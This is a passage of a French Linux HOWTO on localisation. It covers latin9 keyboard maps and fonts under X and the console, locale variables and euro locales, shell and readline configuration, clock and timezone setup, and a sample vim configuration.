Personnellement, je vous recommande de ne pas toucher à la libX11, d'oublier xmodmap et de l'alternative xkb + fichiers latin9 en attendant un autre changement de la politique du X Consortium envers les touches mortes (ou en rajoutant les options d'internationalisation au code source de vos programmes.)

Actuellement, si vous n'avez pas de répertoire /usr/X11R6/lib/X11/xkb/symbols/ cela signifie que vous n'utilisez pas xkb : procurez-vous donc une version plus récente de X window !

Sans xkb, XFree se rabattra par défaut sur votre configuration de clavier pour Linux avec loadkeys.

Toutefois, la translation n'est pas parfaite et je vous recommanderais plutôt d'éviter cette option, aussi bien que l'ancien gestionnaire de clavier Xmodmap.

Il se peut aussi que sans aucune commande pour xkb, XFree vous considère comme utilisateur d'un clavier 7 bits !

Il convient donc d'utiliser une table adaptée avec xkb.

5.4 « latin9 » ou « latin1 » ?

Je vous conseille de choisir les tables latin9 que je maintiens à jour, plus récentes que les versions latin1, permettant d'utiliser de multiples améliorations, détaillées dans la section clavier sous linux-console, pour disposer du plus de confort possible et plus adaptées car maintenu par des francophones.

Les nombreuses améliorations dont elles bénéficient permettent de pallier au déficiences de nombreux programmes.

Par exemple, certains programmes en Motif comme Netscape (tm) ne savent pas encore gérer les touches mortes ... donc impossible de taper par exemple des ê ou des î sur les claviers des Belges et Français, puisque la touche morte « accent circonflexe » est le seul moyen d'obtenir ces caractères !

« fr-latin9 » répond à ce problème en proposant une solution de remplacement : AltGr (voyelle) permet d'obtenir la voyelle avec un accent grave, AltGr+Shift (voyelle) permet d'obtenir la voyelle avec un tréma !

5.5 Table de correspondances

  • AltGr (voyelle) : voyelle accent grave
  • AltGr + Shift (voyelle) : voyelle tréma
  • AltGr (touche au dessous de la voyelle) : voyelle majuscule accent grave
  • AltGr + Shift (touche au dessous de la voyelle) : voyelle majuscule tréma
  • AltGr + Shift (minuscule accentuée) : majuscule accentuée

Par exemple :

  • AltGr (a) : â
  • AltGr (q) : Â
  • AltGr + Shift (ù) : Ù

L'astuce marche aussi pour le c cédille :

  • AltGr + Shift (ç) : Ç

Donc même dans les pires conditions, si aucune touche morte ne fonctionne, on peut quand même accéder à toutes les voyelles accentuées, majuscules et minuscules !

Vous y trouverez en plus les guillemets français (« »), les symboles employés en physique (ß, å, delta, phi ...), des signes de monnaies (yen, cent) ou de copyright (tm, ©) ainsi que des lettres d'autres langues (Ø, Æ ...).

Tous ces signes s'obtiennent grâce à AltGr (lettre), par exemple AltGr (b) donne ß, AltGr (r) donne tm, AltGr (y) donne yen...

Pour vous rapeller simplement de tout celà, tapez par exemple :

        more /usr/lib/kbd/keytables/i386/azerty/fr-latin9.map

Pour ce qui est du choix entre latin1 et latin9... à vous de voir !

Un conseil : essayez l'un puis l'autre si vous avez le temps.

5.6 Les polices ISO 8859-15 latin 9 sous X

Il est bien d'avoir une table de clavier compatible latin 9, mais sans police adaptée jamais vous ne verrez les caractères rajoutés dans cette norme.

Il faut donc utiliser l'utilitaire de conversion « bdftopcf » qui en quelque sorte permet de compiler les polices de caractères fournies.

Placez-vous dans le répertoire de l'archive que vous avez récupéré puis sous root, taper par exemple pour Xlat9-10x20.bdf ou un autre bdf :

        bdftopcf Xlat9-10x20.bdf > Xlat9-10x20-lat9.pcf
        gzip Xlat9-10x20-lat9.pcf
        mv Xlat9-10x20-lat9.pcf.gz /usr/X11R6/lib/X11/fonts/misc
        mkfontdir /usr/X11R6/lib/X11/fonts/misc

Celà crée un fichier « Xlat9-10x20-lat9.pcf » qu'il faut compresser avec gzip, on obtient alors le fichier « Xlat9-10x20-lat9.pcf.gz » qui doit être mis dans le répertoire adéquat, pour lequel l'index des polices de caractères sera mis à jour.

Alors, ajoutez la table de composition latin9 aux compositions par défaut de X, spécifiques à l'iso 8859-1 :

        cat XCompose-lat9 >> /usr/X11R6/lib/X11/locale/iso8859-1/Compose

Nous faisons un cat vers l'ISO 8859-1, car X ne reconnaît pas l'ISO 8859-15 latin9.

De là, redémarrer X ou taper sous son compte d'utilisateur normal :

        xset +fp /usr/X11R6/lib/X11/fonts/misc

Si vous utilisez xmodmap, lancez :

        xmodmap ~/.Xmodmap

Pour choisir les polices latin9, lancer xfontsel et chercher les encodages iso8859-15.

Ou plus simplement, taper :

        grep Xlat9-10x20.pcf /usr/X11R6/lib/X11/fonts/misc/*

Puis utiliser le second paramètre comme nom de police, par exemple avec rxvt, xiterm, aterm ou wterm:

        aterm -fn -misc-fixed-medium-r-normal--20-200-75-75-c-100-iso8859-15

Cela lance un terminal X utilisant une des polices latin9.


Le Francophones-HOWTO : Linux & la langue française: Réglage du clavier pour les applications en mode texte

 Next Previous Contents

6. Réglage du clavier pour les applications en mode texte

6.1 Tout d'abord

Le huitième bit doit survivre à l'entrée du noyau, assurez-vous-en donc avec :

        stty cs8 -istrip -parenb

Ensuite, il convient de s'assurer que l'application est apte à supporter les caractères 8 bits : par exemple, ispell n'est pas compilé pour des caractères 8 bits par défaut : il faut le recompiler sans l'option :

        -NO8BIT

6.2 Une police, des polices...

Avant d'aborder cette section, je vous conseille de lire l'introduction sur les polices pour appréhender un peu mieux le vocabulaire de base et les différentes normes de polices.

a) Historique des polices

De l'ASCII à l'Unicode, en passant par l'ISO 8859, le latin et le cp, on peut résumer l'histoire des polices en grandes étapes :

Au début était l'ASCII, qui codait ses caractères sur 7 bits.

Prévu pour des états-uniens, il était impossible d'incorporer des caractères accentués à la norme déjà présente de 127 caractères.

Ainsi vint le 8 bits qui étendit le nombre de caractères à 255 et les normes ISO 8859, latin et cp, pour les plus connues, qui vinrent pallier à cette déficience du fait des 128 positions supplémentaires disponibles en encodant les caractères sur 8 bits.

Mais plusieurs de ces normes étaient nécessaire du fait de l'impossibilité de faire tenir les caractères de toutes les langues du monde sur 8 bits.

La norme ISO 8859-1 latin 1, la plus utilisée, se destine par exemple au langues d'Europe de l'ouest, du nord, d'Amérique, la norme ISO 8859-2 latin 2 est prévue pour l'Europe de l'est...

L'Unicode est l'un de ces standard, destiné à terme à remplacer les différentes évolutions de l'ASCII ; comme le passage du 7 bits au 8 bits il correspond à une extension de la place disponible, tout en reprenant l'ancienne partie comme ASCII et ISO 8859-1 latin 1 pour rester compatible avec la majorité du parc installé.

L'Unicode offre l'avantage de proposer les caractères nécessaires à toutes les langues du monde, mais reste encore peu utilisé ou implémenté.

En effet, il est impossible de l'utiliser en pratique sous linux-console, la mémoire exigüe de la carte vidéo ne permettant pas de stocker tous les caractères de l'Unicode, et sous X la gestion actuelle des polices rendrait son utilisation trop inconfortable.

Attendons un peu que les polices « True Type » se répandent sous X, grâce à des outils comme freetype, xfstt (...) et le très attendu XFree 4 qui devrait les supporter en natif.

Actuellement, la nouvelle norme européenne ISO 8859-15 latin 9 est censée permettre la transition vers l'Unicode en apportant à l'ancien ISO 8859-1 latin 1 les caractères qu'il manquait actuellement.

Toutefois elle est partiellement incompatible avec l'Unicode puisque l'ISO 8859-1 latin 1 avait été choisi comme base pour l'Unicode, mais que cette police veut compléter les failles de l'ISO 8859-1 latin 1 en y rajoutant des caractères déjà présents dans l'Unicode...

Quelle complexité pour de simple lettres !

b) ISO 8859-15 latin 9

De nous jours, il vaut mieux installer par défaut la nouvelle norme ISO 8859-15 latin 9, destinée à remplacer l'ensemble des polices européennes par une seule.

Son but est voisin de l'Unicode, mais elle a l'avantage d'être plus légère que celui-ci et d'être applicable tout de suite.

Elle apporte notamment des caractères qui manquaient beaucoup pour les Français et les Finlandais :

  • « e dans l'o » en majuscule et minuscule pour les Français, par exemple pour les mots oeuf, coeur, boeuf, oeil ...
  • « s chapeau inversé » en majuscule et minuscule pour les Finlandais
  • « z chapeau inversé » en majuscule et minuscule pour les Finlandais
  • « l'EURO » pour tous les pays européens

Cette nouvelle norme, ISO 8859-15 latin 9 aussi connue sous le nom générique latin0, reste cependant encore très peu répandue par rapport à la norme actuelle ISO 8859-1 latin 1.

c) Utiliser les polices ISO 8859-15 latin 9

Vous n'avez besoin que d'une seule police !

Or il en existe plusieurs types répondant différemment à la même norme iso-8859-15 latin9 « latin0 » sous linux :

  • par tradition l'opposition latN/latNu selon l'inclusion ou non d'une table de correspondance Unicode.
  • en réalité les différences vont bien plus loin, de l'ordre dans lequel sont les caractères de la police, ce qui joue sur l'aspect des applications semi graphique, les correspondances avec des caractères latin1 ± latin9 ± Unicode ce qui a un rôle dans la compatibilité croisée ou exclusive, par exemple purement Unicode...

J'ai donc complété par 2 types de ma création pour répondre au mieux aux différents besoins.

      | Encodage dans | Inclusion d'une | Compatibilité | Compatibilité
      |  l'ordre iso  |  table Unicode  |   exclusive   |    croisée
--------------------------------------------------------------------------
lat9  |     oui       |      non        |     non       |   lat1 + lat9
--------------------------------------------------------------------------
lat9u |     non       |      oui        |     non       |   lat1 + lat9
--------------------------------------------------------------------------
lat9v |     oui       |      oui        |   Unicode     |       non
--------------------------------------------------------------------------
lat9w |     oui       |      oui        |     non       |lat1+lat9+Unicode
--------------------------------------------------------------------------

Voici plus d'explications :

  • les lat9 tout court ne contiennent pas de table de correspondance Unicode, ce qui fait que tous les symboles monétaires internationaux apparaîtront comme des euro, ce qui peut poser des problèmes pour les fichiers issus d'un ordinateur sous windows ; le cp1252 ou le latin1 sont « incompatibles » avec le latin9, mais ce dernier a l'avantage de fonctionner tout de suite sous linux. Dans les versions récentes du noyau, selon le site de Yann Dirson, il semble donc que toutes les polices devraient contenir une table de correspondance Unicode...
  • des lat9u encodées dans un ordre non standard, mais identique à celui des polices latXu de kbd, par rapport aux polices précédentes, en amenant les mêmes problèmes avec le cp1252 et le latin1 mais en incluant une table de correspondance Unicode, ce qui permet d'avoir de jolis caractères semi graphiques sous Yast, mc, ou d'autres programmes basés sur ncurses ou dialog.
  • des lat9v encodées dans l'ordre officiel iso comme les lat9 mais avec une table Unicode complète : là aucun symbole monétaire international ne sera remplacé par l'euro ! Ces polices sont utiles pour éviter les problèmes d'export, grâce à l'Unicode *pur*, avec une table de clavier Unicode adaptée : tous les caractères latin9 sont remplacés par des caractères Unicodes et affichés ainsi, ce qui a le mérite d'être compatible avec le latin9, l'Unicode, d'être élégant techniquement mais inutilisable « normalement » sous linux-console. Presque aucun système n'est entièrement prêt pour l'Unicode !

Donc n'utilisez les polices lat9, lat9u ou lat9v que si vous savez ce que vous faites, je vous recommande pour ma part le meilleur compromis : les polices lat9w qui permettent de passer au latin9 immédiatement, en posant quelques problèmes pour les caractères latin1 qui seront remplacés par leurs équivalents latin9, mais sans rendre l'Unicode obligatoire comme les lat9U, sans emmêler les caractères graphiques comme les lat9, et en permettant aussi d'afficher les caractères spécifiques au latin9 en Unicode *pur*, à l'exception des caractères spécifiques au latin1 donc...

Je vous rassure, vous n'êtes pas obligés de comprendre tout ce qui suit pour « passer à l'euro », si effectivement vous ne savez toujours pas de quelle police vous avez besoin, un conseil : utiliser les lat9w.

Pour utiliser la police lat9-16.psf ou un autre lat9 .psf, vous devez pallier l'absence d'une table Unicode en en chargeant une.

                loadunimap fonts/linux-console/lat9.uni
                setfont fonts/linux-console/lat9-16.psf

Pour utiliser la police lat9w-16.psf ou une autre lat9u, lat9v ou lat9w :

                setfont /fonts/linux-console/lat9w-16.psf

d) Unicode

Une alternative est l'Unicode, mais les programmes l'utilisant sont encore trop peu nombreux pour qu'elle soit valable.

Citons quand même yuedit et le projet « 9 » (9term, 9wm... rien à voir avec l'opérateur télécom français du même nom) qui utilisent l'Unicode sous X, avec plus ou moins de succès.

En revanche, sous linux-console, tout programme peut utiliser l'Unicode.

Mais, hélas!, aussi grande que soit la mémoire des cartes vidéos actuelles, elle ne peut charger l'intégralité des caractères d'une police Unicode.

Il existe donc des « jeux de caractères » limités mais bien utiles pour les langues baltiques, asiatiques, est-africaines...

e) Utiliser les possibilités Unicode

Essayez par exemple ce fichier unicode-lance pour passer en mode Unicode:

#!/bin/sh
echo -e '\033%8'
kbd_mode -u
loadkeys fr-unicode.map
setfont lat9u-16.psf

et ce fichier latin-retourne pour revenir en mode latin normal:

#!/bin/sh
echo -e '\033%@'
kbd_mode -a
loadkeys fr-latin9.map
setfont lat9w-16.psf

Essayez par exemple de lire le fichier unicode.txt, encodé en Unicode, une fois unicode-lance activé.

Vous ne verrez sinon qu'un texte mal encodé, sans caractères 8 bits, comme cet exemple :

Ceci est un essai de texte en UNICODE !

On constate que les bÃ©tas (Ã~_) et autres lettres 8 bits ne sortent pas bien
si l'on regarde ce fichier en mode latin !
Les accents Ã©Ã¨Ã| Ã¹ non plus d'ailleurs...
Enfin, heureusement que l'on ne marche pas sur des Å~RUFS, enfin, Å~Sufs !
Ã~Ga marche moyennement disons !

6.3 Les locales, messages en Français

Linux en 'version française' existe... mais ne semble pas facile à obtenir.

La librairie locale(7) [cf aussi perllocale, setlocale, getlocale] utilisée par la librairie C se sert de variables d'environnement pour définir les préférences linguistiques et nationales.

Pablo Saratxaga répondait ainsi à Pascal Rigaux en prenant l'exemple de sort :

 PR> J'ai découvert aujourd'hui la variable d'environnement LANG. C'est assez
 PR> surprenant de se retrouver avec de l'aide en français (même si elle n'est pas
 PR> toujours aussi précise que la version anglaise) quand on fait ls --help.

C'est agréable n'est-ce pas ?

 PR> Par contre je ne comprend pas pourquoi un programme comme sort(1) n'utilise pas
 PR> cette information pour obtenir un tri acceptable pour les accents (du genre ne
 PR> pas mettre « être » après « zen »). Il devrait au moins proposer une option de
 PR> ce genre.

Il faudrait regarder les sources de sort...
La fonction à utiliser est strcoll() :

                                  ****

STRCOLL(3)         Manuel du programmeur Linux         STRCOLL(3)

NOM
       strcoll - Comparaison de deux chaînes suivant la localisa-
       tion en cours.

SYNOPSIS
       #include <string.h>

       int strcoll (const char *s1, const char *s2);

DESCRIPTION
       La fonction strcoll() compare les deux chaînes s1  et  s2.
       Elle renvoie un entier inférieur, égal ou supérieur a zéro
       si  s1 est respectivement inférieure, égale, ou supérieure
       a  s2.   La  comparaison est effectuée en se basant sur la
       localisation en cours pour la catégorie LC_COLLATE.  (Voir
       setlocale(3)).

                                  ****

qui est donc l'équivalent de strcmp() mais qui tiens compte des locales.
Il faudra s'écrire un strcasecoll() aussi pour bien faire, en utilisant
toupper()/tolower() qui d'après la page de manuel supporte les locales.

Qui s'y colle ? Ça devrait être assez simple à réaliser sur un système GNU
en tout cas.

Il existe différente variables à exporter, avec chacune une fonction spécifique ; le format standardisé est:

        langue[_PAYS[.CHARSET]][@variante]

Les crochets dénotent l'optionalité, par exemple: 'fr', 'fr_BE', 'fr_CH.ISO-8859-15', no@bokmaal, no@nynorsk,...

Les fonctions de la libc, celle de GNU en tout cas, iront chercher dans « l'ordre décroissant » si on peut dire; par exemple si on spécifie 'fr_CH.ISO-8859-15' elles chercheront d'abord avec cette valeur, puis avec 'fr_CH' puis avec 'fr'.

  • LC_COLLATE définit les équivalences de caractères pour les comparaisons (æ peut être équivalent à ae), pour les ligatures et pour les césures.
  • LC_CTYPE définit les caractères affichables
  • LC_MONETARY définit le format et le symbole de la monnaie utilisée
  • LC_NUMERIC définit le format numérique : regroupement, marqueur décimal...
  • LC_MESSAGES définit la langue des messages
  • LC_TIME définit le format de la date, les noms des jours et des mois
  • LC_ALL valeur par défaut des variables précédentes : si une LC_ n'est pas définie, LC_ALL est prise en compte, sinon la libc se rabat sur LANG.
  • LANG différent des variables précédentes, contient le code langue au format iso : fr,en,de...
  • LANGUAGE liste des locales par ordre de préférence séparées par deux points (fr:es:dk:en), c'est une particularité GNU, fort utile si un document n'existe que dans une langue comme certaines pages de manuel

Les valeurs utilisables pour les francophones sont:

  • fr français générique
  • fr_FR français de France
  • fr_BE français de Belgique
  • fr_CH français de Suisse
  • fr_LU français du Luxembourg
  • fr_CA français du Canada

Par exemple, si vous être un Français de France, il suffit d'indiquer sous bash :

        export LANGUAGE=fr_FR

Exemple :

        bash# export LANGUAGE=es_ES
        bash# ls fichier_n_existant_pas
        ls: fichier_n_existant_pas: No existe el fichero o el directorio
        bash# export LANGUAGE=de_DE
        bash# ls fichier_n_existant_pas
        ls: fichier_n_existant_pas: Datei oder Verzeichnis nicht gefunden
        bash# export LANGUAGE=en_US
        bash# ls fichier_n_existant_pas
        ls: fichier_n_existant_pas: No such file or directory
        bash# export LANGUAGE=fr_FR
        bash# ls fichier_n_existant_pas
        ls: fichier_n_existant_pas: Aucun fichier ou répertoire de ce type

Toutefois, avec le passage à l'euro, ces locales ne sont plus adaptées.

Je vous conseille donc d'utiliser dans les pays de l'union passant à l'euro le suffixe « @euro » :

   export LC_ALL="fr_FR@euro"

Pour cela, installer les nouveaux fichiers sources de locales dans /usr/share/i18n/ en lançant :

   cp charmaps/ISO-8859-15 /usr/share/i18n/charmaps/ISO-8859-15
   cp locales/* /usr/share/i18n/locales/

Alors, régénérer les locales « binaires » de /usr/share/locales, par exemple :

   localedef -i fr_FR@euro -f ISO-8859-15 fr_FR@euro

fr_FR@euro inclus les caractères latin 9, c'est utile pour l'utilisation de LC_COLLATE et LC_CTYPE en fait, et la nouvelle monnaie unique.

Pour le moment, le Franc Français (FRF) est toujours la monnaie officielle en France par exemple, mais lorsque ce sera l'euro, il suffira de remplacer la locale fr_FR par fr_FR@euro.

   cd /usr/lib/locales
   rm -fr fr_FR
   mv fr_FR@euro fr_FR

La solution « @euro » est supportée par les autres UNIX comme Solaris.

Pour les shell scripts, il peut être utile de rajouter « LC_TIME=C » pour empêcher la date d'être localisé, embêtant pour les grep et autres qui cherchent « Mon » « Tue »... et non « Lun », « Mar »...

Les données correspondantes aux préférences se trouvent généralement dans /usr/share/locale. S'ils manquent, vous pouvez récupérer leur source

Concernant les autres fichiers abordés dans cet article, vous les trouverez avec les autres fichiers de cet HOWTO sur ma page.

6.4 Son linux en français

Pour se faire SON linux en français il faut en pratique disposer des sources de la libc et d'un minimum de compétences en langage C ; ces manipulations sont inutiles pour l'utilisateur standard de Linux qui se contentera d'utiliser les locales de la section précédente.

Mais voici donc, pour la bonne bouche, quelques renseignements collectés...

Laurent Chemla nous pilote :

Si j'ai suivi, il y a deux trucs qui font la même chose, d'où embrouille, les
locales et un truc appelé nls.

Les locales, sous Linux, ça va par défaut dans /usr/lib/locale,
et ça contient de quoi préciser entre autres le format des
nombres (LC_NUMERIC), les retours des fonctions ctype (isalpha etc) (LC_CTYPE),
le format des sommes d'argent (LC_MONETARY), le format des dates (LC_TIME) et
encore d'autres détails. Sur certains Unix, il y a aussi LC_MESSAGES,
qui contient les messages de l'OS dans la langue choisie par la variable
d'environnement LC_MESSAGES. Pas sous Linux.  Sous Linux, c'est nls qui fait
ça, et de fait, nls gère un fichier qui est dans /etc/locale/.
(NDG : De nos jours, ils se trouvent plutôt dans /usr/lib/locale)
D'où l'embrouille. Ils auraient mis ça dans /usr/lib/nls, comme
tout le monde, ça aurait évite la confusion. Mais bon.

Donc, si l'on veut se tenir à jour d'nls, il suffit d'aller dans les
sources de libc/nls, faire « make french » et copier libc.dat dans
/etc/locale/C/libc.dat et toc, tous les messages sont en français. Y compris
ceux des programmes qui n'utilisent pas setlocale(): c'est perror() qui fait le
boulot (du moins je suppose).

Si l'on veut en plus que les programmes qui utilisent setlocale() utilisent nos
règles françaises, là il faut aller dans les sources de
libc/locale et dans chacun des sous-répertoires jeter un oeil sur le
fichier exemple, le modifier pour le français (c'est des tout petits
fichiers), et faire « make », avant de copier le résultat dans
/usr/lib/local/fr/ et de faire un « export LC_ALL=fr ».

Autre astuce pour ménager les vieux logiciels :

cd /usr/lib
ln -sf /usr/share/locale .

Ne pas oublier de télécharger sur le site du lip6 :

  • Les pages de manuel en français, archive man-fr-*, adaptées par C. Blaess. Il suffit d'extraire le contenu de l'archive dans le répertoire /usr/man/fr.
  • Une intéressante documentation technique : locale.fr, par P. D'Cruze, adaptée par É. Dumas

Pour en apprendre davantage lire la page de manuel de « locale » : bibliothèque de pages de manuel 5 ou 7 :

        bash# man 5 locale
        bash# man 7 locale

6.5 Les variables

Ces variables doivent être exportées à chaque login : mettez les donc dans .bashrc et .bash_login, .tcshrc ou /etc/profile :

# pour tcsh, utiliser setenv au lieu de export, par exemple «setenv LANG fr»

# Les locales
LC_CTYPE=ISO-8859-1
LANGUAGE=fr
LC_MESSAGES=fr
LC_ALL=fr
LANG=fr
LESSCHARSET=latin1
export LC_CTYPE LANGUAGE LC_MESSAGES LC_ALL LANG LESSCHARSET

# Les raccourcis : sans ll ou d, impossible de voir les fichiers comprenant des
# caractères 8 bits ...
alias q="cd .."
alias ll="ls --color=auto -a -N -l"
alias d="ls --color=auto -a -N"
alias indent="indent -kr"
alias netscape="export LC_ALL=en_EN ; netscape $* ; LC_ALL=fr_FR"

# Au cas où Del/BackSpace ne fonctionne pas, essayez l'un des deux :
#stty erase ^?
#stty erase ^H

N'oubliez pas : tous les fichiers ici cités dont le nom commence par « . » doivent se trouver dans votre répertoire maison /

6.6 Les caractères 8 bits dans les programmes utilisant readline tels bash ou ncftp...

Readline est une librairie de saisie de caractères avec historique et complétion ; elle est utilisée par de nombreux programmes comme bash, ncftp, gnuplot...

Par défaut, le 8e bit sert à coder la touche Meta.

Elle est utilisée pour coder certaines commandes mais la touche « Escape » ou « Échap » peut la remplacer.

Si vous souhaitez voir et saisir des accents avec les applications compilées avec readline, comme bash pour les versions supérieures à 1.13, ajoutez ceci dans votre fichier $INPUTRC, par défaut ~/.inputrc) :

# Permettre de rentrer & recevoir des caractères accentués
set meta-flag on
set convert-meta off
set input-meta on
set output-meta on

# Pas de bip audible mais visible
# set bell-style visible

# Pour faire marcher Home, End, Delete, Esc + Delete & Esc + BackSpace
"\e[1~":beginning-of-line
"\e[3~":delete-char
"\e[4~":end-of-line
"\e\C-h": backward-kill-word
"\e\e[3~": kill-word

Cela vous permettra d'effacer des caractères vers l'avant avec « Delete » et vers l'arrière avec « BackSpace », ceci n'étant pas prévu sur les tables de clavier par défaut « mimant » le comportement d'un clavier de console VT100 .

Les deux dernières options vous permettront d'utiliser « Home » et « End » pour aller au début et à la fin de la ligne en cours d'édition.

Pour pouvoir employer une touche il suffit d'obtenir son code et l'associer à une fonction grâce à ce fichier ; pour obtenir le code d'une touche invoquer cat puis appuyer sur la touche : son code apparaît.

Le code physique :

        ^[

correspond à la séquence d'échappement.

Par exemple, si le code de « Home » est « ^[[7 » il suffit d'ajouter une ligne :

        "\e[7~": beginning-of-line

au .inputrc.

Plus de documentation est disponible sur la page de manuel de bash, section READLINE.

On peut aussi, grâce à la variable d'environnement INPUTRC, utiliser un fichier commun à tous les utilisateurs.

Enfin, je vous recommande d'utiliser ce fichier .bashrc à placer dans votre répertoire maison :

# ~/.bashrc : exécuté par bash(1) pour les shells lancés après le login.

# Le path
PATH="/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin:/usr/local/bin"

# Le prompt
PS1="(\u@\h:\W)$ "

# L'utilisateur
ENV=$HOME/.bashrc
USERNAME="votre nom"

# Les locales
_CTYPE=ISO-8859-1
LANGUAGE=fr
LC_MESSAGES=fr
LC_ALL=fr
LANG=fr
LESSCHARSET=latin1
export LC_CTYPE LANGUAGE LC_MESSAGES LC_ALL LANG LESSCHARSET

# Les raccourcis
alias q="cd .."
alias ll="ls --color=auto -a -N -l"
alias d="ls --color=auto -a -N"
alias indent="indent -kr"
alias elm-box="elm -f ~/Mail/Inbox"
alias netscape="export LC_ALL=en_EN ; netscape $* ; LC_ALL=fr_FR"

# Au cas où Del/BackSpace ne fonctionne pas, essayez l'un des deux :
#stty erase
#stty erase ^H

# Refuser le talk & le write
#mesg n

# Permettre les coredumps
#ulimit -c nombre_max_de_Ko

#Fixer le masque de création de fichiers
#umask 022

Le fichier .bash_profile ou .bash_login, exécuté par bash(1) lors des logins, y est strictement identique mais peut, si vous le voulez, présenter des différences pour afficher par exemple une citation en laçant le programme « fortune ».

6.7 zsh

Celui-ci devrait se contenter d'un stty pass8.

Si cela ne suffisait pas, rajouter dans le .zshrc ou dans /etc/zshrc:

        bindkey "\e[2~"  yank
        bindkey "\e[3~"  delete-char
        bindkey "\e[1~"  beginning-of-line
        bindkey "\e[4~"  end-of-line
        bindkey "\e[5~"  up-line-or-history
        bindkey "\e[6~"  down-line-or-history

6.8 tcsh

Pour tcsh, placer, dans le fichier /etc/csh.login ou dans les fichiers .tcshrc des utilisateurs concernés, les variables indiquées plus haut en remplaçant export par setenv:

        setenv LC_CTYPE=ISO-8859-1
        setenv LANGUAGE=fr
        setenv LC_MESSAGES=fr
        setenv LC_ALL=fr
        setenv LANG=fr
        setenv LESSCHARSET=latin1

6.9 Pour tous les shells

Remplacer 'iso_8859_1' par 'iso-8859-1' si cela ne fonctionne pas, voire french.iso88591.fr_FR ou fr_BR, fr_CA, fr_CH, fr_LU...

À propos de LANG, il vaut mieux éviter fr_FR et lui préférer fr car certains programmes ne passent pas vraiment par la resolution de locales mais lisent LANG directement...

Si nls est installé, les routines correspondantes sont utilisées, sinon tcsh agit en iso_8859_1, quelle que soit les valeurs données à LANG et LC_CTYPE : cf. la section NATIVE LANGUAGE SYSTEM de tcsh(1).

Selon le Danish-HOWTO, utiliser :

        (guylhem@victis:tcsh)# setenv LC_CTYPE ISO-8859-1
        (guylhem@victis:tcsh)# stty pass8

6.10 L'heure

Rien n'est plus facile que de laisser à Linux le soin de passer de l'heure d'été à l'heure d'hiver et réciproquement...

a) D'abord, quelle heure est-il :-) ?

Après avoir regardé sur la pendule la plus proche de vous, tapez :

clock

puis

date

La première heure est celle du bios, la seconde celle calculée par Linux à partir de /etc/zoneconfig.

Pour peu que vous ayez installé timezone, votre machine peut jongler aisément entre les différents fuseaux horaires... ce que les DOS ou Windows ne permettent pas !

b) L'heure du choix !

De là, deux possibilitées : soit vous décidez de laisser l'heure système à l'heure locale, peu pratique, excepté si vous hébergez aussi sur votre disque dur ces systèmes d'exploitation peu évolué, ne sachant même pas exploiter les fuseaux horaires, soit vous passez à l'heure de Greenwich, Linux se chargeant de l'adapter à votre fuseau horaire.

Dans ce cas, les grands voyages à l'étranger avec un portable tout neuf équipé de Linux se feront en toute simplicité : le dernier paragraphe vous expliquera comment changer de fuseau horaire facilement...

c) Le réglage

Pour procéder, regardez d'abord si l'heure système retournée par clock est l'heure locale ou l'heure de Greenwich.

Vous avez bien regardé une pendule comme je vous le conseille plus haut, n'est-ce pas ?

Si clock vous retourne l'heure locale, il va falloir jongler un peu avec les fuseaux horaires, sinon passez directement à l'étape « réglage du fuseau ».

  • Pour les français, belges wallons et suisses romands :

Vous êtes normalement dans une zone horaire MET (Medium European Time, soit GMT+1).

La zone « MET DST » correspond elle à l'heure d'été active (GMT + 2).

Selon les décisions futures de la cour européenne, l'heure d'été « daylight savings » risque d'être abandonné... ce qui compliquera cette explication !

  • Pour les canadiens français :

Vous êtes dans une zone horaire GMT-4 si vous habitez autour de Montréal .

Pour les autres provinces, consulter un dictionnaire !

Premièrement, effacez le fichier /etc/localtime ou /usr/lib/zoneinfo/localtime (l'emplacement varie selon les distributions ; si vous avez les deux fichiers, effacez /etc/localtime : l'autre fichier doit certainement être un lien vers /etc/localtime).

Dès lors, clock et date doivent vous retourner la même heure...

  • Pour les canadiens français : utilisez GMT+4

  • Pour les français, belges wallons et suisses romands :

Si vous lisez ce document en été, le décalage de l'heure locale par rapport à l'heure de Greenwich est de deux heures, on va donc mettre temporairement le fuseau en GMT-2, soit vous lisez ce document en hiver et il convient de remplacer tous les « 2 » par des « 1 » dans les exemples suivants...

GMT-2 ?!!? Alors que le fuseau est GMT+2 ?

Ceci va vous retourner l'heure de Greenwich dont on a besoin pour régler le système : tapez :

ln -sf /usr/lib/zoneinfo/Etc/GMT-2 /etc/zoneconfig

clock

date

L'heure calculée correspond donc à l'heure de Greenwich, l'heure système à l'heure locale... soit l'inverse de ce que l'on veut.

Un simple : clock -w

Va alors mettre l'heure du système en heure de Greenwich, utilisant pour cela l'heure locale inversée volontairement avec l'heure système.

d) Régler le fuseau horaire :

Tapez alors : ln -sf /usr/lib/zoneinfo/Europe/Votre-ville /etc/zoneconfig

Et voilà ! Le système est à l'heure de Greenwich, la conversion vers le fuseau horaire local et l'heure d'été se faisant automatiquement.

Si vous habitez hors Europe, procédez de même en remplaçant les « -2 » par « X », X représentant l'opposé de votre décalage horaire (par exemple -4 au Québec, donc X=+4...)

e) Modifier le fuseau horaire :

Si vous partez à l'étranger, il est alors simple de modifier l'heure locale de votre portable : par exemple si vous partez pour Moscou :

ln -sf /usr/lib/zoneinfo/Europe/Moscow /etc/zoneconfig

Très simple et très utile : plus besoin de se souvenir du décalage horaire (plus ou moins X heures) puisque Linux se charge désormais de tout !

6.11 vi

Normalement, aucune modification n'est nécessaire à part l'utilisation de loadkeys (détaillée plus haut).

Ce fichier .vimrc pourrait toutefois vous être utile si vous utilisez vim au lieu d'elvis :

" Les guillemets anglais « " » signifient « mis en commentaire »

" Éviter un avertissement « version incorrecte » :
version 4.0

" Utiliser les défauts de vim, bien mieux
set nocompatible

" Autoriser le « BackSpace » sur tout :
set bs=2

" Police à utiliser sous X11 :
"set guifont=-misc-fixed-medium-r-normal--14-130-75-75-c-70-iso8859-1

" Fixer la césure automatique de la ligne à N caractères :
set tw=72

" Faire apparaître les tabulations et les espaces
set list

" Changer les défauts pour voir les espaces inutiles et les tabulations
set listchars=tab:»·,trail:·
hi nontext ctermfg=red
hi nontext ctermbg=blue

" Indentation (pour les programmeurs) :
" set cindent

" Réglages souris :
"set mouse=a

" Ligne
set nowrapscan

" Montrer les correspondances :
set showmatch

" Montrer le mode
set showmode

" Indentation intelligente (pour les programmeurs) :
" set uc=0

" Faire fonctionner BackSpace :
set t_kD=^?

" Doit se trouver après
map ^H X

" Faire fonctionner Delete  :
map \e[3~ x

" Cacher la souris lorsqu'on tape :
set mousehide

" Faire voir les correspondances lors de recherches :
" set hlsearch

" Colorer à l'intérieur des commentaires en C :
let c_comment_strings=1

